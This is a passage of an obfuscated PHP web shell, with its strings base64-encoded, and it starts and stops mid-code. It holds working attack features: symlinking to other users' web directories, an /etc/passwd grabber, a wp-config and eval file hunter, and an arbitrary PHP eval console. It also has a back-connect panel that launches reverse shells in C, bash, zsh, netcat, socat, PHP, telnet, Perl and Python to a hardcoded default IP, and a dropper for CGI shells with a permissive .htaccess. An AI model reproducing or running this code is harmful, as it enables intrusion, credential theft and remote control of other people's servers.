|| $matches == wb('dXNyL2dhbWVz') || $matches == wb('dmFyL2Z0cA==') || $matches == wb('ZXRjL250cA==') || $matches == wb('dmFyL3d3dw==') || $matches == wb('dmFyL25hbWVk')) { continue; } echo wb('PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPg==') . $dcount . wb('PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0Pg==') . $matches . wb('PC90ZD4='); echo "<td align=center><font class=txt><a href={$fullx}/xconfig/root/home/" . $matches . wb('L3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4='); $dcount++; } $GNJ[19]($file); echo wb('PC90YWJsZT48L2NlbnRlcj4='); @$GNJ[10](wb('dGVzdC50eHQ=')); } else { echo wb('PGNlbnRlcj48Zm9udCBzaXplPTM+Q2Fubm90IGNyZWF0ZSBTeW1saW5rPC9mb250PjwvY2VudGVyPg=='); } } } } } elseif (isset($_GET[hex(wb('Y29uZmln'))])) { AutomenU($d); echo wb('PGhyPjxicj48Y2VudGVyPg=='); echo wb('PGgyPi9ldGMvcGFzc3dkIEdyYWJiZXI8L2gyPg=='); echo wb('PHRleHRhcmVhIG5hbWU9InBhc3N3ZCIgY2xhc3M9J2FyZWEgZm9ybS1jb250cm9sJyByb3dzPScxNScgY29scz0nNjAnPgo='); echo fgt(wb('L2V0Yy9wYXNzd2Q=')); echo wb('PC90ZXh0YXJlYT4='); echo wb('PGJyPjxicj4='); } elseif (isset($_GET[hex(wb('dGVtdWthbkZpbGVz'))])) { @set_time_limit(10000); $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; if (isset($_POST[wb('ZGlyZWt0b3JpeA==')])) { $direktori = $_POST[wb('ZGlyZWt0b3JpeA==')]; } else { $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } if (isset($_POST[wb('ZXh0ZW5zaQ==')])) { $extensi = $_POST[wb('ZXh0ZW5zaQ==')]; } else { $extensi = wb('cGhw'); } if (isset($_POST[wb('Y2FyaW5hbWFmaWxl')])) { $carinamafile = $_POST[wb('Y2FyaW5hbWFmaWxl')]; } else { $carinamafile = wb('d3AtY29uZmln'); } if (isset($_POST[wb('a2F0YQ==')])) { $kata = $_POST[wb('a2F0YQ==')]; } else { $kata = wb('ZXZhbA=='); } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDI+U2VhcmNoIEZpbGVzIDwvaDI+CgkJCQk8Zm9ybSBjbGFzcz0iZm9ybS1pbmxpbmUgY2VudGVyIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCBtbC0zIiB0eXBlPSJ0ZXh0IiBuYW1lPSJjYXJpbmFtYWZpbGUiIHZhbHVlPSI=') . $carinamafile . wb('IiBzdHlsZT0id2lkdGg6NDUwcHg7IiBoZWlnaHQ9IjEwIj4gJm5ic3A7Jm5ic3A7IDxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXJla3Rvcml4IiB2YWx1ZT0i') . $direktori . wb('IiBoZWlnaHQ9IjEwIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLXdhcm5pbmcgZm9ybS1jb250cm9sIGNvbC1tZC0yIG1sLTMiIHN0eWxlPSJoZWlnaHQ6MTAiIHZhbHVlPSJTZWFyY2ggRmlsZXMiIG5hbWU9ImZpbmRmIiAvPjwvZm9ybT48YnI+RmluZCBmaWxlKHMpIGluIGRpcmVjdG9yeS48L2NlbnRlcj4KCQkJCQ=='); if (isset($_POST[wb('ZmluZGY=')])) { if (isset($direktori) && isset($carinamafile)) { $ketemu = findInFiles($direktori, wb('Lw==') . $carinamafile . wb('XC4qL2k=')); $total = count($ketemu); echo wb('VG90YWwgRmlsZXM6IA==') . $total . wb('PG9sPg=='); foreach ($ketemu as $value) { $fld = dirname($value); $fl = basename($value); echo wb('PGxpPjxhIGhyZWY9Jz9kPQ==') . hex($fld) . wb('JnM9') . hex($fl) . "' target='_blank'>{$value}</a></li>"; } echo wb('PC9vbD4='); } } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDI+U2VhcmNoIGFsbCBGaWxlcyA8L2gyPgoJCQkJPGZvcm0gY2xhc3M9ImZvcm0taW5saW5lIGNlbnRlciIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgbWwtMyIgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWt0b3JpeCIgdmFsdWU9Ig==') . $direktori . wb('IiBzdHlsZT0id2lkdGg6NDUwcHg7IiBoZWlnaHQ9IjEwIj4KCQkJCSAgJiN4MjVjZjsgPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImV4dGVuc2kiIHZhbHVlPSI=') . $extensi . wb('IiBzaXplPSI1IiBoZWlnaHQ9IjEwIj4KCQkJCSAgJm5ic3A7ICZuYnNwOyA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IndyaXRlYWJsZW9ubHkiIHZhbHVlPSJ3cml0ZWFibGVvbmx5Ij4gV3JpdGFibGUKCQkJCSAgPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLXN1Y2Nlc3MgZm9ybS1jb250cm9sIGNvbC1tZC0yIG1sLTMiIHN0eWxlPSJoZWlnaHQ6MTAiIHZhbHVlPSJTZWFyY2ggYWxsIEZpbGVzIiBuYW1lPSJmaW5kIiAvPgoJCQkJICA8L2Zvcm0+PGJyPkZpbmQgZmlsZShzKSB3aXRoIGV4dGVuc2lvbiBpbiBkaXJlY3RvcnkuIElmIGBXcml0YWJsZWAgdGlja2VkLCBtZWFuIG9ubHkgZmlsZShzKSB0aGF0IGNhbiBlZGl0IGluIHJlc3VsdChzKTwvY2VudGVyPgoJCQkJ'); if (isset($_POST[wb('ZmluZA==')])) { if (isset($direktori) && isset($extensi)) { $ketemu = findInFiles($direktori, wb('L1wu') . $extensi . wb('JC8=')); $total = count($ketemu); echo wb('RGFyaSBUb3RhbCBGaWxlczog') . $total . wb('PG9sPg=='); foreach ($ketemu as $value) { $fld = dirname($value); $fl = basename($value); if (isset($_POST[wb('d3JpdGVhYmxlb25seQ==')])) { if (is_writable($value)) { echo wb('PGxpPldyaXRlYWJsZTogPGEgaHJlZj0nP2Q9') . hex($fld) . wb('JnM9') . hex($fl) . "' target='_blank'>{$value}</a></li>"; } } else { echo wb('PGxpPjxhIGhyZWY9Jz9kPQ==') . hex($fld) . wb('JnM9') . hex($fl) . "' target='_blank'>{$value}</a></li>"; } } echo wb('PC9vbD4='); } } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDI+U2VhcmNoIGluIEZpbGVzIDwvaDI+CgkJCQk8Zm9ybSBjbGFzcz0iZm9ybS1pbmxpbmUgY2VudGVyIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCBtbC0zIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXJla3Rvcml4IiB2YWx1ZT0i') . $direktori . wb('IiBzdHlsZT0id2lkdGg6NDUwcHg7IiBoZWlnaHQ9IjEwIj4KCQkJCSAgJiN4MjVjZjsgPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImV4dGVuc2kiIHZhbHVlPSI=') . $extensi . wb('IiBzaXplPSI1IiBoZWlnaHQ9IjEwIj4gPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgbWwtMyIgdHlwZT0idGV4dCIgbmFtZT0ia2F0YSIgdmFsdWU9Ig==') . $kata . wb('IiBoZWlnaHQ9IjEwIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLWluZm8gZm9ybS1jb250cm9sIGNvbC1tZC0yIG1sLTMiIGhlaWdodD0iMTAiIHZhbHVlPSJTZWFyY2ggaW4gRmlsZXMiIG5hbWU9ImZpbmRJbkZpbGVzIiAvPjwvZm9ybT48YnI+RmluZCBhIHdvcmQgb2YgZmlsZShzKSBpbiBkaXJlY3RvcnkuPC9jZW50ZXI+CgkJCQk='); if (isset($_POST[wb('ZmluZEluRmlsZXM=')])) { if (isset($direktori) && isset($extensi) && isset($kata)) { $ketemu = findInFiles($direktori, wb('L1wu') . $extensi . wb('JC8=')); echo wb('PG9sPg=='); foreach ($ketemu as $value) { $ronda = fgt($value); $pattern1 = wb('Lw==') . $kata . wb('L2k='); $success1 = preg_match($pattern1, $ronda, $matches); if ($success1) { $fld = dirname($value); $fl = basename($value); echo wb('PGxpPkRpdGVtdWthbiBrYXRhIDxmb250IGNvbG9yPScjZmYwMCc+') . $kata . wb('PC9mb250PiBwYWRhIDxhIGhyZWY9Jz9kPQ==') . hex($fld) . wb('JnM9') . hex($fl) . "' target='_blank'>{$value}</a></li>"; } } echo wb('PC9vbD4='); } } } elseif (isset($_GET[hex(wb('ZXZ2YWw='))])) { if (isset($_POST[wb('ZQ==')])) { $jevalkan = b64dd($_POST[wb('ZQ==')]); } else { $jevalkan = wb('Ly9yZWFkZmlsZSgiL2V0Yy9wYXNzd2QiKTs='); $jevalkan = @htmlentities($jevalkan); } function evval($string) { $eval_result = ''; $eval_result = @htmlentities(@eval($string)); return $eval_result; } echo wb('PHNjcmlwdD5mdW5jdGlvbiBidG9hTVJEKCkgeyB2YXIgaW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW5wdXRUZXh0RiIpLnZhbHVlOyB2YXIgZW5jb2RlZCA9IGJ0b2EoaW5wdXQpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikudmFsdWUgPSBlbmNvZGVkOyB9IDwvc2NyaXB0Pjxicj48YnI+PGgyIGNsYXNzPSJ0ZXh0LWNlbnRlciI+UEhQIDN2YWwgPHN1cD5ObyBQSFAgT3Blbjwvc3VwPjwvaDI+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9InJldHVybiBidG9hTVJEKCkiPgoJCQkJCTx0ZXh0YXJlYSBjbGFzcz0gImZvcm0tY29udHJvbCByb3VuZGVkLTAiIHN0eWxlPSJtaW4td2lkdGg6IDk2JTsgaGVpZ2h0OiAyMDBweDsiIGlkPSJpbnB1dFRleHRGIiBuYW1lPSJlIj4=') . $jevalkan . wb('PC90ZXh0YXJlYT48YnI+CgkJCQkJPGlucHV0IGNsYXNzID0gImZvcm0tY29udHJvbCByb3VuZGVkLTAiIHR5cGU9InN1Ym1pdCIgbmFtZT0iamV2YWwiIHN0eWxlPSJ3aWR0aDogMjUwcHg7bWFyZ2luOiAwIGF1dG87ICIgdmFsdWU9IkV4ZWN1dGUiPgoJCQkJPC9mb3JtPjxicj4='); if (isset($_POST[wb('amV2YWw=')]) && isset($_POST[wb('ZQ==')])) { $isi1 = b64dd($_POST[wb('ZQ==')]); echo wb('PGRpdiBjbGFzcz0nZm9ybS1ncm91cCc+PGgyIGNsYXNzPSd0ZXh0LWNlbnRlcic+UEhQIDN2YWwgUmVzdWx0PC9oMj48dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCByb3VuZGVkLTAnIHJlYWRvbmx5IHJvd3M9JzEwJyBwbGFjZWhvbGRlcj0nUGxlYXNlIHdyaXRlIGN1c3RvbWVyIG5vdGVzJz4='); $hasil_eval = evval($isi1); echo wb('PC90ZXh0YXJlYT48L2Rpdj4='); } } elseif (isset($_GET[hex(wb('bmV0d29yaw=='))])) { $back_connect_c = wb('STJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5'); $back_connect_p = wb('SXlFdmRYTnlMMkpwYmk5bGJuWWdjR1Z5YkEwS2RYTmxJRWxQT2pwVGIyTnJaWFE3RFFva2IzTTlKRjVQT3cwS0pITm9QU0psZUhCdmNuUWdWRVZTVFQxNGRHVnliVHRRVXpFOUoxd2tVRmRFWEQ0bk8yVjRjRzl5ZENCUVV6RTdMMkpwYmk5emFDQXRhU0k3RFFwcFppZ2tiM005Zm0wdmQybHVMMmtwZXlSemFEMGlKVU5QVFZOUVJVTWxJQzlMSWp0OURRb2tkRDFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1V5d21VRVpmU1U1RlZDd21VMDlEUzE5VFZGSkZRVTBzSkhRcGZIeGthV1VvS1RzTkNtbG1LRUJCVWtkV1BUMHhLWHNOQ2dra2NEMGtRVkpIVmxzd1hUc05DZ2x6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRb0pZbWx1WkNoVExITnZZMnRoWkdSeVgybHVLQ1J3TEVsT1FVUkVVbDlCVGxrcEtYeDhaR2xsS0NrN0RRb0piR2x6ZEdWdUtGTXNNeWw4ZkdScFpTZ3BPdzBLQ1dGalkyVndkQ2hETEZNcE93MEtDWE5sYm1Rb1F5d2liV0ZTYVdSdlRtOGdjMmhsYkd3Z09pQmpiMjV1WldOMFpXUmNiaUlzTUNrN0RRb0piM0JsYmlCVFZFUkpUaXdpUENaRElqdHZjR1Z1SUZOVVJFOVZWQ3dpUGlaRElqdHZjR1Z1SUZOVVJFVlNVaXdpUGlaRElqc05DZ2xsZUdWaklDUnphSHg4WkdsbEtDazdEUW9KWTJ4dmMyVW9ReWs3WTJ4dmMyVW9VeWs3WTJ4dmMyVW9VMVJFU1U0cE8yTnNiM05sS0ZOVVJFOVZWQ2s3WTJ4dmMyVW9VMVJFUlZKU0tUc05DZ2xsZUdsMElEQTdEUW9OQ24wTkNtVnNjMmxtS0VCQlVrZFdQVDB5S1hzTkNna2tjRDBrUVZKSFZsc3dYVHNOQ2dra2FEMGtRVkpIVmxzeFhUc05DZ2trYVQxcGJtVjBYMkYwYjI0b0pHZ3BmSHhrYVdVb0tUc05DZ2trWVQxemIyTnJZV1JrY2w5cGJpZ2tjQ3drYVNsOGZHUnBaU2dwT3cwS0NXTnZibTVsWTNRb1V5d2tZU2w4ZkdScFpTZ3BPdzBLQ1hObGJtUW9VeXdpYzJobGJHd2dPaUJqYjI1dVpXTjBaV1JjYmlJc01DazdEUW9KYjNCbGJpaFRWRVJKVGl3aVBpWlRJaWs3YjNCbGJpaFRWRVJQVlZRc0lqNG1VeUlwTzI5d1pXNG9VMVJFUlZKU0xDSStKbE1pS1RzTkNnbGxlR1ZqSUNSemFIeDhaR2xsS0NrN0RRb0pZMnh2YzJVb1V5azdZMnh2YzJVb1UxUkVTVTRwTzJOc2IzTmxLRk5VUkU5VlZDazdZMnh2YzJVb1UxUkVSVkpTS1RzTkNuME5DbVZzYzJWN1pYaHBkQ2d4S1R0OQ=='); if (isset($_POST[wb('cDI=')])) { $remote = $_POST[wb('cDI=')]; } else { $remote = wb('NTEuNzkuMjQxLjEzMw=='); } if (isset($_POST[wb('cDM=')])) { $port = $_POST[wb('cDM=')]; } else { $port = wb('NDQz'); } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj4KIDxoMj4gTmV0d29ya3MgWSA8L2gyPiA8YnI+PGJyPgoKCTxmb3JtIG1ldGhvZCA9ICdQT1NUJz4KCTxzcGFuPkJhY2stY29ubmVjdCB0byBTZXJ2ZXI6IDwvc3Bhbj48YnIvPjxpbnB1dCBjbGFzcyA9ICdmb3JtLWNvbnRyb2wnIHR5cGU9J3RleHQnIG5hbWU9J3AyJyBzdHlsZT0nd2lkdGg6MjUwcHg7JyB2YWx1ZT0=') . $remote . wb('PiBQb3J0OiA8aW5wdXQgY2xhc3MgPSAnZm9ybS1jb250cm9sJyBzdHlsZT0nd2lkdGg6MjUwcHg7JyB0eXBlPSd0ZXh0JyBuYW1lPSdwMycgdmFsdWU9Jw==') . $port . wb('Jz48YnI+IFVzaW5nOiA8bGFiZWw+PHNlbGVjdCBuYW1lPSdwMScgY2xhc3MgPSAnZm9ybS1jb250cm9sJyBzdHlsZT0nd2lkdGg6MTUwcHg7Jz48b3B0aW9uIHZhbHVlPSdTYVRpbkdHYSc+QmFzaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3pzaCc+WlNIPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbmV0Y2F0Jz5OZXRDYXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdzb2NhdCc+U29DYXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwaHAnPlBoUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3RlbG5ldCc+VGVsbmV0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGVybCc+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JjYyc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JjcHknPlB5dGhvbjwvb3B0aW9uPjwvc2VsZWN0PjwvbGFiZWw+IDxicj48aW5wdXQgc3R5bGU9J3dpZHRoOjI1MHB4OycgY2xhc3MgPSAnYnRuIGJ0bi1zdWNjZXNzIGZvcm0tY29udHJvbCcgdHlwZT1zdWJtaXQgdmFsdWU9J0Nvbm5lY3QgTm93ISc+Cgk8L2Zvcm0+PGJyPg=='); if (isset($_POST[wb('cDE=')])) { function cf($f, $t) { $w = @$GNJ[17]($f, wb('dw==')) or @function_exists(wb('ZmlsZV9wdXRfY29udGVudHM=')); if ($w) { @$GNJ[18]($w, @b64dd($t)) or @fputs($w, @b64dd($t)) or @file_put_contents($f, @b64dd($t)); @$GNJ[19]($w); } } if ($_POST[wb('cDE=')] == wb('YmNj')) { cf(wb('L3RtcC9iYy5j'), $back_connect_c); $ = exe(wb('Z2NjIC1vIC90bXAvYmMgL3RtcC9iYy5j')); @$GNJ[10](wb('L3RtcC9iYy5j')); $ = exe(wb('Z2NjIC1vIC90bXAvYmMgL3RtcC9iYy5j')); $ .= exe(wb('L3RtcC9iYyA=') . $_POST[wb('cDI=')] . wb('IA==') . $_POST[wb('cDM=')] . wb('ICY=')); echo "<pre class=ml1>{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBiYw==')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('U2FUaW5HR2E=')) { $cmd = wb('c2V0c2lkIGJhc2g='); $ = exe($cmd . wb('IC1pICY+L2Rldi90Y3Av') . $_POST[wb('cDI=')] . wb('Lw==') . $_POST[wb('cDM=')] . wb('IDA+JjEgJg==')); echo "<pre class=ml1>{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBzZXRzaWQ=')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('enNo')) { $cmd = wb('enNoIC1jICd6bW9kbG9hZCB6c2gvbmV0L3RjcCAmJiB6dGNwIA=='); $ = exe($cmd . $_POST[wb('cDI=')] . wb('IA==') . $_POST[wb('cDM=')] . " && zsh >&{$REPLY} 2>&{$REPLY} 0>&{$REPLY}'"); echo "<pre class=ml1>{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCB6c2g=')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('bmV0Y2F0')) { $cmd = wb('cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMg'); $ = exe($cmd . $_POST[wb('cDI=')] . wb('IA==') . $_POST[wb('cDM=')] . wb('ID4vdG1wL2Y=')); echo "<pre class=ml1>{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBuYw==')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('c29jYXQ=')) { $cmd = wb('c29jYXQgZXhlYzonYmFzaCAtbGknLHB0eSxzdGRlcnIsc2V0c2lkLHNpZ2ludCxzYW5lIHRjcDo='); $ = exe($cmd . $_POST[wb('cDI=')] . wb('Og==') . $_POST[wb('cDM=')] . wb('ID4vdG1wL2Y=')); echo "<pre class=ml1>{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBzb2NhdA==')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('cGhw')) { $cmd = "php -r '{$sock}=fsockopen(getenv("; $ = exe($cmd . $_POST[wb('cDI=')] . wb('IiksZ2V0ZW52KCI=') . $_POST[wb('cDM=')] . wb('IikpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7')); echo "<pre class=ml1>{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBmc29ja29wZW4=')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('dGVsbmV0')) { $cmd = "TF=$(mktemp -u); mkfifo {$TF} && telnet "; $ = exe($cmd . $_POST[wb('cDI=')] . wb('IA==') . $_POST[wb('cDM=')] . " 0<{$TF} | /bin sh 1>{$TF}"); echo "<pre class=ml1>{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCB0ZWxuZXQ=')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('cGVybA==')) { $cmd = "perl -e 'use Socket;{$i}="; $ = exe($cmd . wb('IiRFTlZ7') . $_POST[wb('cDI=')] . wb('fSI7JHA9JEVOVns=') . $_POST[wb('cDM=')] . wb('fTtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTs=')); echo "<pre class=ml1>{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBwZXJs')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('YmNweQ==')) { $cmd = wb('cHl0aG9uIC1j'); $ = exe($cmd . wb('IGltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKA==') . $_POST[wb('cDI=')] . wb('LA==') . $_POST[wb('cDM=')] . wb('KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vc2gnLCctaSddKTs=')); echo "<pre class=ml1>{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBweXRob24=')) . wb('PC9wcmU+'); } } echo wb('PC9kaXY+'); } elseif (isset($_GET[hex(wb('Y2dp'))])) { echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj4gPGgyPiBDR0ktQklOIFB5dGhvbiBhbmQgUGVybCA8L2gyPiA8YnI+PGJyPjxmb3JtIG1ldGhvZD0nUE9TVCc+IDxkaXYgY2xhc3M9J3JvdyBjbGVhcmZpeCc+IDxkaXYgY2xhc3M9J2NvbC1tZC00Jz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY2dpJyBjbGFzcz0nZm9ybS1jb250cm9sIGJ0biBidG4tc3VjY2VzcyBmb3JtLWNvbnRyb2wnIHZhbHVlPSdDR0kgUGVybCAxJyBoZWlnaHQ9JzEwJz4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTQnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjZ2kyJyBjbGFzcz0nZm9ybS1jb250cm9sIGJ0biBidG4td2FybmluZyBmb3JtLWNvbnRyb2wnIHZhbHVlPSdDR0kgUGVybCAyJyBoZWlnaHQ9JzEwJz4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTQnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjZ2lweScgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4gYnRuLWRhbmdlciBmb3JtLWNvbnRyb2wnIHZhbHVlPSdDR0kgUHl0aG9uJyBoZWlnaHQ9JzEwJz4gPC9kaXY+PC9kaXY+PC9mb3JtPjwvY2VudGVyPjxicj4='); if (isset($_POST[wb('Y2dp')])) { if (!$GNJ[8](wb('Lm1hcmk='))) { $GNJ[11](wb('Lm1hcmk='), 493); } $file_cgi = wb('Lm1hcmkva2F5ZWxpLlg='); $cgiht = wb('Lm1hcmkvLmh0YWNjZXNz'); $isi_htcgi = wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjeUFyUm05c2JHOTNVM2x0VEdsdWEzTWdLMDExYkhScFZtbGxkM01nSzBWNFpXTkRSMGtLUVdSa1NHRnVaR3hsY2lCaloya3RjMk55YVhCMElDNVlDa0ZrWkZSNWNHVWdZWEJ3YkdsallYUnBiMjR2ZUMxb2RIUndaQzFqWjJrZ0xsZz0='); $targetPath = decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3QzJqcjJrZmc9PQ==')); $data = fgt($targetPath); $content = b64dd($data); @file_put_contents($file_cgi, $content); @file_put_contents($cgiht, b64dd($isi_htcgi)); $GNJ[12]($file_cgi, 493); $GNJ[12]($cgiht, 420); echo wb('PGJyPjxjZW50ZXI+RG9uZSAuLi4gPGEgaHJlZj0nLm1hcmkva2F5ZWxpLlgnIHRhcmdldD0nX2JsYW5rJz5LbGlrIERpc2luaTwvYT4='); } elseif (isset($_POST[wb('Y2dpMg==')])) { if (!$GNJ[8](wb('Lm1hcmk='))) { $GNJ[11](wb('Lm1hcmk='), 493); } $file_cgi = wb('Lm1hcmkvY3BhbmVsLlg='); $cgiht = wb('Lm1hcmkvLmh0YWNjZXNz'); $isi_htcgi = wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjeUFyUm05c2JHOTNVM2x0VEdsdWEzTWdLMDExYkhScFZtbGxkM01nSzBWNFpXTkRSMGtLUVdSa1NHRnVaR3hsY2lCaloya3RjMk55YVhCMElDNVlDa0ZrWkZSNWNHVWdZWEJ3YkdsallYUnBiMjR2ZUMxb2RIUndaQzFqWjJrZ0xsZz0='); $data = b64dd(fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3QzJqcjJrZnc9PQ==')))); @file_put_contents($file_cgi, $data); @file_put_contents($cgiht, b64dd($isi_htcgi)); $GNJ[12]($file_cgi, 493); $GNJ[12]($cgiht, 420); echo wb('PGJyPjxjZW50ZXI+RG9uZSAuLi4gPGEgaHJlZj0nLm1hcmkvY3BhbmVsLlgnIHRhcmdldD0nX2JsYW5rJz5LbGlrIEhlcmU8L2E+'); } elseif (isset($_POST[wb('Y2dpcHk=')])) { if (!$GNJ[8](wb('Lm1hcmk='))) { $GNJ[11](wb('Lm1hcmk='), 493); } $file_cgi = wb('Lm1hcmkvbWF3ZXMuWA=='); $cgiht = wb('Lm1hcmkvLmh0YWNjZXNz'); $isi_htcgi = wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjeUFyUm05c2JHOTNVM2x0VEdsdWEzTWdLMDExYkhScFZtbGxkM01nSzBWNFpXTkRSMGtLUVdSa1NHRnVaR3hsY2lCaloya3RjMk55YVhCMElDNVlDa0ZrWkZSNWNHVWdZWEJ3YkdsallYUnBiMjR2ZUMxb2RIUndaQzFqWjJrZ0xsZz0='); $data = 